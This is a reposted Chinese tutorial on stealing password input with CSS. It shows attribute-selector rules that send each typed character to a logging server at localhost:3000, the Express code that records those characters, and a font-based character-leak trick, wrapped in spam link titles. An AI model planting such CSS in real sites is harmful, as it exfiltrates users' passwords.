国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > CSS > 正文

CSS 記錄用戶密碼的方法

2024-07-11 08:31:52
字體:
供稿:網(wǎng)友

簡單的CSS代碼,甚至不符合圖靈完備的語言,但是也能成為一些攻擊者的工具,下面簡單介紹一下如何使用CSS去記錄用戶的密碼。但是這些CSS腳本會出現(xiàn)在第三方CSS庫中,所以使用第三方CSS庫也需要謹慎,確保代碼安全。直接上代碼解析:

input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }

以上是部分代碼,我們來解析一下CSS代碼

input[type="password"]是css選擇器,作用是選擇密碼輸入框, [value$="0"]表示匹配輸入的值是以0結(jié)尾的。所以:

input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }

上面代碼的意思就是如果你在密碼框中輸入0,就去請求http://localhost:3000/0接口,但是瀏覽器默認情況下是不會將用戶輸入的值存儲在value屬性中,但是有的框架會同步這些值,例如React。

所以只要使用了如下圖的腳本就能去存儲用戶的輸入數(shù)據(jù)信息。

我們再來看一下服務器端的代碼:

const express = require("express");const app = express();app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400);});app.listen(3000, () => console.log("啟動,監(jiān)聽3000端口"));

使用express創(chuàng)建服務器,監(jiān)聽3000端口,只要請求http://localhost:3000/:key,就能輸出key的值,就能在服務器上記錄輸入的值。所以只要在每輸入一個值都匹配,然后通過 background-image 去請求一個已經(jīng)準備好的接口,就能記錄用戶的輸入。類似的方法記錄用戶的內(nèi)容的CSS代碼@font-face {  

font-family: blah; src: url('http://localhost:3000/a') format('woff'); unicode-range: U+85;}html { font-family: blah, sans-serif;}

你使用的的css的簡單的字體庫,只要你的頁面中包含a,就會去請求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字符。

以上就是本文的全部內(nèi)容,希望對大家的學習有所幫助,也希望大家多多支持錯新站長站。

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 大邑县| 达日县| 星子县| 墨玉县| 灵台县| 卓尼县| 合山市| 通江县| 同心县| 分宜县| 宝鸡市| 灯塔市| 长兴县| 闽清县| 蒙城县| 盘锦市| 稻城县| 宜春市| 日喀则市| 邻水| 汝州市| 长子县| 全州县| 贵定县| 时尚| 仙居县| 晋州市| 新乡县| 神农架林区| 图片| 盘锦市| 从江县| 仁布县| 留坝县| 大渡口区| 壤塘县| 迁安市| 华安县| 陆川县| 湖州市| 勃利县|